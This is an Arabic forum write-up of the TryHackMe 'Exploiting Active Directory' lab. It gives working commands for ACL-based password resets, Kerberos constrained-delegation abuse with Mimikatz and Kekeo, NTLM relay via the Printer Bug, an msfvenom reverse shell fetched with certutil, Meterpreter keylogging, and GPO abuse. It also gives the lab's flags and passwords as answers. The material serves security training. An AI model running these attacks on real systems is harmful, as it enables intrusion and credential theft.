






السمعة:
- إنضم17 يونيو 2023
- المشاركات 527
- الحلول 10
- مستوى التفاعل 1,119
- النقاط 93

راح نركز على الامور هاي بهاد الروم

1. ما هو الـ Permission Delegation
2. استغلال الـ Kerberos Delegation
3. استغلال الـ Automated Relays
4. استغلال الـ Users
6. استغلال الـ GPOs
6. استغلال الـ Certificates
7. استغلال الـ Domain Trusts
التحديات من TryHackMe | Exploiting Active Directory
ما هو الـ Permission Delegation
سبق وتعلمنا كيف نجهز البيئة كامله ونحل اي مشكله ممكن تواجهنا (Dns) + (vpn)
1. Dns
لكن هاي المره بننفذ هذه الامر
Bash:
systemd-resolve --interface exploitad --set-dns $THMDCIP --set-domain za.tryhackme.loc
او عن طريق الامرين
Bash:
resolvectl dns exploitad $THMDCIP
resolvectl domain exploitad za.tryhackme.loc
2. VPN
بنستخدم هاد الـ VPN للروم هاي

يعتبر الـ Active Directory أداة قوية لمنح الأذونات والصلاحيات داخل المنظمات من خلال ميزة تُسمى Permission Delegation التي تجعل Active Directory فعّالًا جدًا. ( لا تخلط بينها وبين Kerberos Delegation الذي سيتم مناقشته لاحقًا )
نتخيل أننا بنشتغل بمؤسسة بتضم 50,000 موظف، وحرصًا على الأمان، عننا ثلاث مستخدمين فقط بإمكانهم يوصلو لبيانات الـ Domain Admins
مستحيل يقدرو الثلاثة انهم يتعاملو مع كل طلبات المستخدمين، مثل إعادة تعيين كلمات المرور....
هون بيجي دور الـ Delegation، عن طريقه بامكاننا منح فريق الدعم التقني (Helpdesk) خاصيه إعادة تعيين كلمات مرور المستخدمين بهاي الطريقة بتم إعطاؤهم صلاحيات محددة لهاد الغرض بدون منحهم صلاحيات كاملة
لكن عشان نأمن هاد النظام، لازم نتبع مبدأ أقل قدر ممكن من الصلاحيات للقيام بالمهمه المطلوبه
ومع هيك، بالمؤسسات الكبيرة، هاد الموضوع ممكن يكون صعب
في هاد الشرح راح نعرف كيف بإمكاننا نستغل بعض الأخطاء بإعدادات منح الأذونات
الـ Permission Delegation
الهجمات بتستغل الـ Permission Delegation تُعرف باسم هجمات قائمة التحكم في الوصول (ACL-based attacks)يسمح الـ AD للمسؤولين بإنشاء إدخالات تحكم الوصول (ACEs) اللي بتشكّل قوائم التحكم في الوصول التقديري (DACLs) تأمين أي object بالـ Active Directory يكون باستخدام الـ ACEs
عن طريق تحديد الصلاحيات الممنوحة أو الممنوعه لأي object ثاني
إذا كانت إعدادات الـ ACEs خطأ بإمكاننا نستغلها مثلا إذا مُنحت صلاحية الـ ForceChangePassword لفريق الدعم التقني اللي بـ group الـ Domain Users فهذا يُعتبر خطرًا
صح بقدرو يعملو إعادة تعيين كلمات المرور لكن كمان بقدرو يعملو إعادة تعيين كلمات مرور لحسابات صلاحياتها عالية مثل حسابات الـ Domain Admins، وهاد يعني تصعيد صلاحيات
استغلال إعدادات الـ ACEs الخاطئة
في كثير إعدادات ACE ممكن تكون معموله خطأ ولكل وحده منها استغلال مختلفعن الثاني من الوثائق المفيدة عشان نفهم هاي الإعدادات هي وثيقة Bloodhound.راح نحكي عن بعض الأمثلة الشهيرة:
الـ ForceChangePassword: بتمكنّا اننا نغير كلمة مرور المستخدمين بدون ما نعرف الكلمة الحالية
الـ AddMembers: بتمكننا نضيف مستخدمين أو مجموعات (بما في ذلك حسابنا) لمجموعة مستهدفة
الـ GenericAll: بتعطينا سيطرة كاملة على الـ object، من القدرة على تغيير كلمة المرور أو إضافة كائن AD جديد
الـ GenericWrite: بتمكننا من تعديل أي parameters غير محمية في بالـ object، مثل تشغيل سكريبت عند تسجيل دخول المستخدم
الـ WriteOwner: بتمكننا من تغيير مالك الـ object لـ اللي، اللي بمنحنا صلاحيات إضافية
الـ WriteDACL: بتمكننا نكتب ACE جديدة بالـ DACL للـ object المستهدف، مثل منح حالنا صلاحيات كاملة
الـ AllExtendedRights: بتمكننا من تنفيذ أي عملية بترتبط بالـ extended AD rights ضد الـ object المستهدف، مثل تغيير كلمة المرور
الأدوات اللازمة للاستغلال
للاستفادة من هاي الثغرات بنحتاج لطريقة عشان نتفاعل مع الـ ADالأداتان الأفضل هما
AD-RSAT PowerShell cmdlets
PowerSploit
اختيار الأداة بعتمد على اختراق البيئة والأدوات المستخدمة لاكتشاف الهجمات
الـ Bloodhound
تم تشغيل الـ Sharphound مسبقًا وتم إرفاقه كملف مهمة.بنفتح الـ Bloodhound بالـ AttackBox أو جهاز Kali وبنحمل البيانات بإمكاننا تشغيل Sharphound إذا بدنا بس اختصار للوقت
هذه هو الملف
لبدء Bloodhound، بنشغل neo4j باستخدام الأمر:
Bash:
neo4j console
ثم افتح الـ Bloodhound باستخدام الأمر:
Bash:
bloodhound --no-sandbox
تصعيد الصلاحيات
بنبحث عن حساب المستخدم الخاص فينا بـ Bloodhound وبنلاحظ أنه صلاحياتنا قليلة الحل هو نستهدف group الـ Tier 2 Admins، لأنم بمتلكو صلاحيات إدارية على جميع الأجهزةباستخدام Bloodhound بنكتشف أنه في خطأ بإعدادات تفويض الأذونات لفريق الـ IT Support لانه بامكان أي عضو بمجموعة الـ Domain Users يضيف حسابه لفريق الدعم

وبما أن فريق الدعم لديه صلاحية ForceChangePassword على أعضاء مجموعة Tier 2 Admins، يمكننا استغلال ذلك لتغيير كلمات مرور الأعضاء والوصول إلى حساباتهم.
تنفيذ الهجوم
عشان نضيف حسابنا لفريق IT Support بنستخدم هاد الامر على الـ PowerShell :
كود:
Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"
بنتحقق انه الامر اشتغل عن طريق الامر
كود:
Get-ADGroupMember -Identity "IT Support"
بنستخدم الامر عشان نحدد الهدف
كود:
Get-ADGroupMember -Identity "Tier 2 Admins"
بنغير كلمه المرور لاحد الاعضاء بالـ Tier 2 Admins
Bash:
$Password = ConvertTo-SecureString "SH3LL@#$%^&*)(" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_lawrence.lewis" -Reset -NewPassword $Password
من الممكن ان ياخذ وقت قبل ان ينفذ الامر (تقريبا 10 دقائق)
بامكاننا نستخد الامر
Bash:
gpupdate /force
عشان نحدث الـ Group Policy عطول
بنستنا شوي وبنشغل الاوامر
بعد نجاح الهجوم بنقدر نسجل دخول للجهاز اللي غيرنا الكلمه اله
الأسئلة
أي صلاحية تسمح لك ان تحدث أي باراميتر غير محمي؟
GenericWrite
ما هو الفلاق الموجود على سطح مكتب حساب Administrator على THMWRK1؟
THM{Permission.Delegation.FTW!}
استغلال الـ Kerberos Delegation
بهذا النص بنشرح تقنية هجوم على نظام Kerberos Delegation
وهو بروتوكول يستخدم بشكل شائع بالـ Active Directory لإدارة المصادقات والصلاحيات بين الأنظمة والخدمات
الـ Delegation Kerberos
التفويض باستخدام Kerberos Delegation هي عملية تمكين تطبيق من الوصول لـ موارد موجودة على خادم آخر نيابة عن المستخدم
مثلاً بحالة تطبيق ويب بحتاج يوصل لقاعدة بيانات موجودة على سيرفر مختلف بامكاننا نمكن Kerberos Delegation
عشان نسمح للحساب المسؤول عن خدمة الويب انه يطلب وصول لقاعدة البيانات نيابة عن المستخدم اللي سجل الدخول للتطبيق يعني المستخدم فقط بقدر يوصل للبيانات اللي عنده صلاحيات يطّلع عليها
أنواع الـ Kerberos Delegation
نوعين رئيسين من Kerberos Delegation:أ - التفويض غير المحدود Unconstrained Delegation:
هاد النوع يعتبر الأقل أمانًا لانه بسمح للحساب المصرح له بالتفويض أنه يحصل على تذاكر TGT خاصة بالمستخدمين المخولين وبتم تخزينها بالذاكرة مما يعني أنه ممكن إعادة استخدامها لاحقًا
لكن بحالة تعرض النظام للاختراق بامكاننا نستغل هاي التذاكر وننتحل شخصية المستخدمين المخولين
ب - التفويض المحدود Constrained Delegation:
لتجنب المخاطر الأمنية اللي بتيجي مع التفويض الغير المحدود قدمت مايكروسوفت هاد النوع الأكثر أمانًا بـ عام 2003
بهاد النظام بامكاننا نحدد الخدمات اللي بامكاننا اعطاء الحساب صلاحيه عليها بس
هاد بقلل من المخاطر في حالة اختراق الحساب المصرح له
أمثلة على بعض الخدمات اللي بامكاننا تكوينها للـ Delegation :الـ HTTP يُستخدم في تطبيقات الويب للسماح بالمصادقة عبر AD
الـ CIFS لتسهيل مشاركة الملفات عبر الشبكة، حيث يسمح بتفويض المستخدمين للوصول إلى المشاركة
الـ LDAP يُستخدم للتفويض في خدمة LDAP لأمور مثل إعادة تعيين كلمة المرور
الـ HOST يسمح بتفويض حساب معين لتنفيذ جميع الأنشطة على النظام المضيف
الـ MSSQL يسمح بتفويض حسابات المستخدمين للوصول إلى خدمة SQL للمصادقة في قواعد البيانات
Kerberos Delegation المعتمد على الموارد الـ RBCD
الـ Resource-Based Constrained Delegation هو نوع ثالث من الـ Delegation تم تقديمه عام 2012 بتيح تحكم اضافي وامان بهاد النوع بنقدر نسمح للخدمة نفسها تحدد أي حسابات بمكانها توخذ صلاحيات عليها هاد يعني أنه التحكم صار بايد مالك الخدمه بحدد مين بامكانه يوصلله مش المستخدميناستغلال RBCD
إذا كان عننا الصلاحية لتكوين RBCD لخدمة معينة بامكاننا نعدل خاصية msDS-AllowedToActOnBehalfOfOtherIdentity لحساب الـ AD اللي بنتحكم فيه وهيك بامكاننا نستخدم هاد الحساب عشان نوصل للخدمه المطلوبةاستغلال الـ Constrained Delegation
رغم أن الـ Constrained Delegation أكثر أمانًا إلا أنه ممكن استغلاله بهجمات معينةمثلا إذا تمكن المهاجم من اختراق حساب الـ AD اللي عنده صلاحيات محدوده فـ بامكانه يولد تذكرة TGT ويستخدمها عشان يطلب وصول لخدمات ثانيه نيابة عن المستخدم
استغلال الـ Constrained Delegation (مثال عملي)
بهاي الخطوه بنشرح كيف ننفذ هجوم على Constrained Delegation باستخدام أدوات مثل PowerSploit و Mimikatz :بنفوت على الحساب اللي قدرنا نغير كلمه السر اله (t2_lawrence.lewis)
بنسجل عن طريق هاد الامر
Bash:
ssh za.tryhackme.loc\\[email protected]
1. التعرف على الحسابات المخولة بالتفويض :باستخدام أمر PowerShell ـ Import-Module C:\Tools\PowerView.ps1 مثل Get-NetUser -TrustedToAuth بامكاننا نحدد الحسابات اللي الها صلاحيات على خدمات معينة
اذا كان الملف مش موجود بننزله على جهازنا من الرابط بعدها بننقله عن طريق الامر
Bash:
scp /home/kali/PowerSploit/Recon/PowerView.ps1 [email protected]:C:/Tools/PowerView.ps1
2. بنستخدم Mimikatz عشان نستخراج الـ secrets :
بعد ما نحصل على وصول إداري بامكاننا نستخدم Mimikatz عشان نستخراج بيانات المصادقة المخزنة بالذاكرة مثل كلمات المرور والتذاكر المخزنة...
7. خطوات الهجوم بالتفصيل
- أول اشي بنستخدم Kekeo عشان نولد تذاكر TGT بناءً على الحساب المخول بالتفويض
- بعد هيك بنستخدم التذاكر اللي بتم إنشائها عشان نطلب تذاكر خدمة TGS عشان نوصل لخدمات معينة مثل HTTP و WSMAN على الخادم المستهدف
8. أدوات الهجوم
الـ Kekeo بنستخدمها عشان نولد تذاكر Kerberos واستغلالهاالـ Mimikatz بنستخدمها عشان نستخرج كلمات المرور والتذاكر المخزنة بذاكرة النظام
مثال على استخدام Mimikatz
بنشغل الاداه ( الخط الاول )
بنرفع صلاحياتنا ( الخط الثاني )
بنستخرج الـ secrets ( الخط الثالث )
Bash:
mimikatz.exe
token::elevate
lsadump::secrets
بعد ما نفتح فتح الـ Kekeo بنستخدم الأمر هاد عشان ننشئ TGT (تذكرة التوزيع المبدئية) باستخدام بيانات المستخدم svcIIS
Bash:
tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:[SIZE=5][B]password1@[/B][/SIZE]
الـ user اسم المستخدم اللي اله صلاحيات تفويض مقيدة ( svcIIS )
الـ domain نطاق الهجوم za.tryhackme.loc
الـ password كلمة المرور المرتبطة بحساب الـ ( svcIIS )
الهدف من هاي الخطوات :
عشان نحصل على TGT بنحتاج الـ TGT اللي بسمحلنا نولد تذاكر خدمات TGS لحساب svcIISعشان ننشئ PSSession بنحتاج نجري هاي العمليه على لكل الخدمات HTTP و WSMAN عشان يسمحلنا ننشئ جلسة PSSession على سيرفر THMSERVER1
طلب تذكرة S4U TGS نيابةً عن المستخدم t1_trevor.jones اللي بكون اله صلاحيات اعلا بما انه T1 لخدمة HTTP على الخادم THMSERVER1:
Bash:
tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
Bash:
tgs::s4u /tgt:[email protected][email protected] /user:t1_trevor.jones /service:wsman/THMSERVER1.za.tryhackme.loc
هيك بنلاحظ انه كل اشي تمام وبنقدر عن طريقهن نتصل على الخدمتين ( بنقدر نتاكد منهن عن طريق امر klist )
الخلاصة
التفويض بالـ Kerberos هي أداة قوية لإدارة المصادقة بين الأنظمة ولكنها ممكن تكون مصدر خطر أمني إذا ما تم تكوينها بشكل صحيحأي نوع من أنواع تفويض Kerberos يسمح بتفويض جميع الخدمات؟
Unconstrained Delegation
ما نوع تفويض Kerberos الذي يسمح للخدمة بتحديد من يُسمح له بالتفويض إليها؟
Resource-Based Constrained Delegation
ما هي خدمة التفويض المقيد التي تسمح بالوصول إلى نظام الملفات الخاص بالنظام عبر التفويض؟
CIFS
ما قيمة العلم المخزن في دليل سطح المكتب لمستخدم المسؤول على THMSERVER1 (flag2.txt)؟
THM{Constrained.Delegation.Can.Be.Very.Bad}
استغلال المصادقة المترابطة (Automated Relays)
الهدف نتعرف كيف نستغل المصادقات التلقائية اللي بتحدث بين الأجهزة على الشبكة, هاي المصادقات بتمر عبر الشبكة باستمرار
بامكاننا نعترضها عشان نوصل لصلاحيات ثانيه
او بامكاننا نجبر الجهاز انه يعمل مصادقة النا وهاد يُعرف بـ التحفيز القسري للمصادقة (Authentication Coercion)
حسابات الأجهزة (Machine Accounts)
كل جهاز بعمل بنظام ويندوز في اله حساب مرتبط فيه زي ما المستخدم بمتلك حساب خاص فيهاسم حساب الجهاز بنتهي دائمًا بعلامة $ مثل : $server01
كلمات مرور حسابات الأجهزة طويلة جدًا (120 حرفًا باستخدام ترميز UTF16) ويتم تغييرها تلقائيًا كل 30 يومًا
تُستخدم هذه الحسابات في خدمات متعددة مثل:
1. مزامنة البيانات بين وحدات الـ Domain Controllers
2. طلب شهادات الأمان باستخدام حساب الجهاز
في حاله خاصة :
ببعض الأحيان بحصل جهاز على صلاحيات إدارية على جهاز ثاني بنفس الشبكةهاد الاشي شائع بإعدادات مثل :
1. وحدات التحكم بالمجال Domain Controllers
2. الأنظمة المتزامنة مثل قواعد بيانات SQL
الهجوم هون:
بما أنه الحساب بالجهاز ممكن يمتلك صلاحيات جهاز ثاني بامكاننا نستغل هاي الصلاحيات عشان نجبر الجهاز المستهدف انه يعمل مصادقة الناالبحث عن حسابات الأجهزة التي تمتلك صلاحيات إدارية
بنحتاج لأداه BloodHound عشان نحدد العلاقات بين الأجهزةباستخدام استعلام Cypher مخصص بامكاننا نكشف عن الأجهزة الي بتمتلك علاقات إدارية على أجهزة ثانيه :
Bash:
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
نتيجة البحث :
هذا الاستعلام بظهرلنا إذا كان جهاز معين ( مثل THMSERVER2 ) على اليسار بمتلك صلاحيات إدارية على جهاز ثاني ( مثل THMSERVER1 ) على اليمين
ثغرة الطباعة (The Printer Bug)
هي ثغرة موجودة بـ بروتوكول الطباعة الخاص بويندوز MS-RPRN بتسمح لمستخدم دومين بإجبار جهاز مستهدف على الاتصال بعنوان IP محددالشروط اللازمة لتنفيذ الهجوم:
امتلاك Credentials صالحة على الدومينوجود اتصال بالشبكة مع خدمة SMB على الجهاز المستهدف
أن يكون جهاز الضحية مشغلًا لخدمة الطباعة Print Spooler Service
أن تكون خاصية توقيع SMB غير مفروضة SMB Signing Not Enforced
عشان نتاكد من الشروط بنبدا نتاكد من
1. تشغيل خدمة الطباعة باستخدام الـ PowerShell :
Bash:
GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc
إذا ظهر لنا خطأ Access Denied بامكاننا نحاول مع هاد الأمر :
Bash:
Get-PrinterPort -ComputerName THMSERVER2
2. بنتأكد من خاصية الـ SMB Signing :
بنستخدم Nmap عشان نتحقق اذا كان توقيع الـ SMB مفروض على الأجهزة :
Bash:
sudo nmap -Pn -p445 --script=smb2-security-mode THMSERVER1 THMSERVER2
إذا كانت النتيجة بتشير لتوقيع الـ SMB مسموح لكنه غير مفروض ( نفس اللي بالصوره ) فـ هاد يعني أن الهجوم ممكن
استغلال المصادقات المترابطة (Exploiting Authentication Relays)
خطوات الهجوم:
إعداد خدمة التصيد :على جهازنا بنستخدم أداة Impacket لإعداد خادم SMB خبيث عن طريق الامر :
Bash:
python3.9 ntlmrelayx.py -smb2support -t smb://THMSERVER1_IP -debug
بندخل الـ IP للجهاز المستهدف THMSERVER1 عشان نتجنب استخدام الـ Kerberos
إجبار الجهاز على المصادقة :
من جهاز وسيط THMWRK1 (ssh laura بالصوره اللي تحت)
بنستخدم أداة SpoolSample عشان نجبر الـ THMSERVER2 على المصادقة على خادمنا :
Bash:
SpoolSample.exe THMSERVER2 "Attacker IP"
إذا نجحت العملية خادم الـ SMB الخبيث الخاص فينا بستقبل محاولة مصادقة من الجهاز المستهدف THMSERVER2 وبمررها لـ THMSERVER1
بامكاننا الآن ننفذ أوامر على الجهاز الذي بنملك صلاحيات عليه :
Bash:
python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug
كم مرة يتم تغيير كلمات مرور حسابات الأجهزة تلقائيًا؟
30
THM{Printing.Some.Shellz}ما الذي يجب أن لا يكون مفروضًا إذا أردنا استغلال محاولات مصادقة SMB؟
SMB Signing
استغلال الـ Users
هيك وصلنا لمرحلة متقدمة بعملية الـ Exploitation هيك عننا وصول إداري كامل للـ workstations والـ servers يعني تقريبًا بنقدر ننفذ عمليات ما بعد الـ Exploitation على أي نظام من المستوى الأول والثاني لكن لسا بدنا نروح أبعد من هيك بهاد الجزء يعتبر جزء عمليات ما بعد الـ Exploitation لكن هي كمان مفيدة جدًا لما نكون لسا بنحاول نستغل الشبكة عشان نوصل لمكان مناسب عشان ننفذ اهدافنا
المستخدمين وسلوكهم
المستخدمين غالبًا بكونوا الحلقة الأضعف مثل وضع كلمات المرور ضعيفة ومثل منح صلاحيات زائدة عن الحاجة
راح نركز على عنصرين رئيسيين:ط
إدارة بيانات الاعتماد: كيف بخزن المستخدم بيانات اعتمادهم بالـ AD هاد مهم لأنه المستخدمين ممكن يكون عندهم مجموعات متعددة من بيانات الاعتماد وتذكرها كلها ممكن يكون صعب
تسجيل المفاتيح: غالبًا أثناء الـ
البحث عن بيانات الاعتماد
بعد ما اخترقنا THMSERVER1، لازم نبحث عن أي معلومات مفيدة مثلا بنشوف مجلدات المستخدمين وبنشوف إذا في أي معلومات قيمة فيهم
واحنا بنستكشف لازم نوصل لملف kdbx. بحث سريع على جوجل بأكدلنا إنه هاد الملف قيم جدًا! بنقدر نستخدم أمر بالـ Meterpreter عشان نسترد هاد الملف
الملف هو عبارة عن قاعدة بيانات للاعتمادات المشكلة إنه القاعدة مشفرة بكلمة مرور ممكن نحاول نكسر كلمة المرور لكن أي شخص بستخدم قاعدة بيانات للاعتمادات عادةً بكون عنده ذكاء إنه يخلي كلمة المرور الأولية آمنة ممكن يكون عننا نجاح أكبر او وصول اكبر لو شفنا كيف بتفاعل المستخدم مع هاي القاعدة
SYSTEM أحيانًا يكون مفرط الصلاحيات
بالـ Meterpreter فيه مسجل مفاتيح مدمج هاد مفيد لاستخراج ضغطات المفاتيح للمستخدم. لكن ما بنقدر نبدأ هاد المسجل ونستناه يزبط
لأنه الشل تبعنا حاليًا شغال في بسياق الـ SYSTEM. الـ SYSTEM ما راح يضغط أي مفاتيح ف ما رح نستفيد عشان نلتقط بيانات الاعتماد للمستخدم الصحيح لازم نتأكد إنه الشل شغال بسياق المستخدم المستهدف
لحسن الحظ الـ Meterpreter بوفرلنا خاصية الـ migrate وبما إننا شغالين كـ SYSTEM، المفروض نقدر ننتقل لأي عملية
عننا "تنفيذ كود عن بُعد" على THMSERVER1، بنستخدم هاد عشان نحصل على شل Meterpreter إذا بدك تراجع كيف كننا نعمل هيك عن طريق الـ Meterpreter والـ Metasploit
راجع المقالات بالموضوع اللي مثبت (Jr pt)
لكن لملخص سريع بتقدر تستخدم الأمر هاد عشان تنشئ حمولة PowerShell Meterpreter:
Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1
بعدين بتقدر تستخدم الأمر هاد عشان تنشئ الـ listener المرتبط بالـ msfconsole:
Bash:
sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT 'listening port'; exploit"
بتقدر تستضيف شل Meterpreter باستخدام خادم ويب Python وبعدين تنسخه باستخدام اشي زي هيك:
Bash:
certutil.exe -urlcache -split -f http:///shell.ps1
بمجرد ما يكون عننا شل Meterpreter، بنقدر نكمل
او بكل بساطه بنقدر نعمل الشل عن طريق الموقع revshells.com
الخطوة الأولى هي تشوف إذا كان عند المستخدمين أي عمليات شغالة على هذا الجهاز:
Bash:
meterpreter> ps | grep "explorer"
إعادة تعيين كلمة مرور المستخدم trevor.local باستخدام الأمر التاي وبنشغل الاوامر التاليه:
كود:
net user trevor.local <chosen password>
C:\auto-login.ps1 trevor.local <chosen password> THMSERVER1
shutdown -r
بمجرد ما يرجع الخادم يشتغل المفروض بنشوف عملية الـ explorer
المستخدم عنده جلسة نشطة على THMSERVER1. خلينا ننتقل لعملية هاد المستخدم
أكثر شي آمن عادة بكون اشي زي explorer.exe:
Bash:
meterpreter> migrate 3632
بنقدر نتأكد إننا شغالين بسياق المستخدم المستهدف باستخدام الأمر getuid:
Bash:
meterpreter> getuid
Bash:
meterpreter> keyscan_start
الآن لازم نكون صبورين ونستنى حتى نلقط بيانات اعتماد بنعطيها كم دقيقة وبعدها بنشغل الأمر التالي عشان نفرغ ظغطات المفاتيح المسجلة:
Bash:
meterpreter> keyscan_dump
إذا كنت بتستخدم جهازك على معظم توزيعات لينكس
Bash:
sudo apt install keepassx
وتأكد إنك بتستخدم Meterpreter عشان تنزل قاعدة بيانات Keepass لجهازك
إذا كنت بتستخدم Kali تأكد إنه المستخدم kali بمتلك ملف القاعدة قبل ما تفتحه وإلا ممكن يقفل القاعدة ويعطيك نتائج غلط
بنبحث عنه
بنستخدم هاد الامر حتى نبحث عن الملفات
كود:
search -f *.kdbx
بعد ما ننزله بنقدر نفتحه معنا كلمه السر (بنقدر هيك لو ما معنا نحاول نطلعها بس شبه عالفاضي)
وبكون في كمان اسم المستخدم svcServMan وكلمه السر Sup3rStr0ngPass!@
ما هو التطبيق المستخدم لفتح قاعدة بيانات الاعتمادات .kdbx؟
Keepass
ما هو أمر Meterpreter اللي بنستخدمه عشان ننتقل من سياق SYSTEM لسياق المستخدم؟
migrate
ما هي كلمة مرور قاعدة بيانات الاعتمادات؟
Imreallysurenoonewillguessmypassword
ما هي قيمة العلم المخزن في قاعدة بيانات الاعتمادات؟
THM{AD.Users.Can.Be.Very.Bad}
استغلال الـ GPOs
تسجيل مفاتيح المستخدم سمحلنا بفك تشفير قاعدة بيانات الاعتمادات الخاصة فيه وهاد وفرلنا بيانات اعتماد ممكن تكون مفيدة عشان نوصل لهدفنا باستغلال الـ AD وبالتحديد حساب الـ svcServMan بنحتاج نعمل شوية استكشاف عشان نعرف بشو ممكن نستخدم هاي البيانات
عندنا بيانات Sharphound اللي بنقدر نستخدمها باستخدام خاصية البحث بالـ Bloodhound خلينا نشوف الصلاحيات اللي عند الحساب اللي اكتشفناه:
صلاحية واحدة بالذات بتبرز لهذا الحساب، وهي ملكية Group Policy Object وكمان لما نعمل شويه بحث بنشوف انه الـ GPO مطبق على جهاز THMSERVER2:
هاد ممكن يوفرلنا فرصة ممتازه حتى نعزز استغلالنا لـ AD!
Group Policy Objects
بتذكرو لما حكينا عن مجلد SYSVOL بالمقال Enumerating Active Directory ؟ هاد المجلد هو اللي بخزن فيه الـ GPOs لـ AD حتى يتم تكراره على الأجهزة المنضمة للمجال
الـ GPO هو مجموعة افتراضية من إعدادات السياسات كل GPO عنده اسم فريد يسمى بـ GUID عشان هيك إذا حاولت تقرأ محتويات مجلد SYSVOL ما راح يكون منطقي مع كل الأسماء العشوائية
كل جهاز ويندوز عنده Local Policy Configuration من الـ Configuration المهمه مثل:
- تكوين التطبيقات للخدمات مثل الجدار الناري ومثل مضاد الفيروسات و الـ Applocker
- عضوية المجموعات المحلية مثل مجموعة الإداريين أو مستخدمي سطح المكتب البعيد
- تكوين بدء التشغيل مثل السكريبتات اللي لازم تنفذ عند بدء التشغيل
- إعدادات الأمان والبروتوكولات مثل دعم SMBv1
هاي أمثلة قليلة في كمية كبيرة من خيارات الـ Configuration اللي ممكن نعيّنها
إدارة السياسات الجماعية
إذا كان عننا جهاز ويندوز واحد بس سهل نغير الـ Local Policy Configuration مباشرة على الجهاز لكن بالمؤسسات الكبيرة بنحتاج آلية لنشر او تفعيل الـ Configuration من مكان مركزي هون بيجي دور الـ Group Policy Management إدارة السياسات الجماعية او ما يرمز له بالـ GPM بدل تعريف الـ Policy محليًا على كل جهاز الـ GPM بسمحلنا نعرف الـ Policy مباشرة على هيكل الـ AD بالأساس بنقدر نعرف الـ GPOs للـ AD Object مثل وحدة تنظيمية OU أو مجموعة معينة.
زي ما حكينا قبل الأجهزة اللي داخله بالمجال بتسحب كل السياسات من الـ SYSVOL بشكل دوري وبتطبق اللي بناسبها
افتراضيًا الـ Policy بتتكرر كل 15 دقيقة من خلال تطبيق gpupdate لكن بنقدر كمان ننفذ هاد التطبيق يدويًا من الـ CMD عشان نطبق السياسات فورًا
استغلال GPOs
رغم إنه في طرق كثيرة لاستغلال الـ GPOs فيها راح نلتزم بالحل البسيط وهو إضافة حساب AD بنتحكم فيه بمجموعة الـ local Administrators والـ local Remote Desktop هاد راح يسمحلنا بصلاحيات إدارية على THMSERVER2 والقدرة على الدخول عن طريق الـ RDP ممكن كمان نستخدم منفذ الـ SSH المكشوف لكن مش كل المؤسسات بتكون مطورة لتوفير وصول SSH عشان هيك، وصول الـ RDP أو تقنيات الـ lateral movement التقليدية مثل SMBExec أكثر أمان
عشان نعدل الـ GPO بنحتاج ندخل على إدارة الـ Group Policy كمستخدم AD اللي عنده الصلاحيات المطلوبة
ممكن ندخل على THMSERVER1 عن طريق الـ RDP كالمستخدم لكن هاد ممكن يطرد المستخدم من جلسته النشطة وهيك ممكن يعرف او نثير الشكوك ف الحل ندخل على THMWRK1 عن طريق RDP باستخدام حسابنا العادي أو حساب الـ T2 للإدارة وبنحقن بيانات اعتماد المستخدم بالذاكرة باستخدام runas وبنفتح MMC عشان نعدل الـ GPO
عشان تتذكرو أمر runas راجعو المقالات السابقه
بنسجل دخول عن طريق الامر
كود:
xfreerdp /u:barbara.reid /p:Password1 /v:10.200.12.248
بننفذ هاد الامر من خلال نافذة CMD إدارية:
Bash:
C:>runas /netonly /user:za.tryhackme.loc<AD Username> cmd.exe
لما يطلب مننا نقدم كلمة المرور المرتبطة بالحساب
عشان نتأكد إننا قدمنا بيانات الاعتماد الصحيحة بنقدر نشغل (بـ CMD جديدة)
Bash:
dir \za.tryhackme.loc\sysvol
Bash:
C:>mmc
الآن بدنا نضيف الـ Snap-in لإدارة السياسات الجماعية:
بنظغط على File بعدها Add/Remove Snap-in وبنختار Group Policy Management وبنظغط على Add بعدها OK
المفروض هسا نشوف الـ GPOs للدومين za.tryhackme.com:
الآن بنقدر نتنقل للـ GPO اللي عنده المستخدم صلاحية لتعديلها (Servers > Management Servers > Management Server Pushes)
بنظغط على زر الفأرة الأيمن على الـ GPO وبنختار Edit هاد راح يفتحلنا نافذة Group Policy Management Editor جديدة
عشان نضيف حسابنا للمجموعات المحلية بنحتاج نتبع الخطوات التالية:
قم بنوسع Computer Configuration بعدها بنوسع Policies بعدها بنوسع Windows Settings بعدها بنوسع Security Settings
بنظغط بزر الفأرة الأيمن على Restricted Groups وبنختار Add Group (إذا كانت مجموعة IT Support موجودة بالفعل، يعني إنه شخص قام بالاستغلال مسبقًا بتقدر إما تحذفها عشان تنشئها من جديد، أو مجرد تتفقدها عشان تشوف كيف تم تكوينها)
بنظغط على Browse بندخل على IT Support وبننقر على Check Names بعدها على OK مرتين
الفلتر الأول مش مستخدم للفلتر الثاني بدنا نضيف كل من مجموعة Administrators و Remote Desktop Users بالنهاية المفروض يطلع شكله زي هيك:
بمجرد ما نخلص الـ Conf بنظغط على Apply و OK هيك كل اللي علينا هو ننتظر لمدة بسيطه أقصاها 15 دقيقة عشان تطبق الـ GPO بعد هيك حسابنا الأولي اللي خليناه عضو بمجموعة IT Support راح يكون عنده صلاحيات إدارية و RDP على THMSERVER2!
ما هو الكائن اللي يسمح للمستخدمين بتكوين سياسات ويندوز؟
Group Policy Object
ما هي ميزة AD اللي تسمحلنا بتكوين GPOs لكامل هيكل AD؟
Group Policy Management
ما هو اسم الـ GPO اللي يملكه حساب AD اللي تم اختراقه؟
Management Server Pushes
ما هي قيمة العلم المخزن على THMSERVER2 في مجلد سطح المكتب للإداري (flag4.txt)؟
THM{Exploiting.GPOs.For.Fun.And.Profit}
كيفية استغلال الـ Certificates
هيك عننا وصول لـ THMSERVER2، تقدمنا أكثر برحلتنا لاستغلال الـ AD من خلال استغلال كل أصول المستوى الأول (الخوادم) لكن مرة ثانية وصلنا لطريق مسدود بدون وسائل بسيطة للانتقال للمستوى التالي عشان هيك مرة ثانية راح نحتاج نبحث عن مسارات أكثر
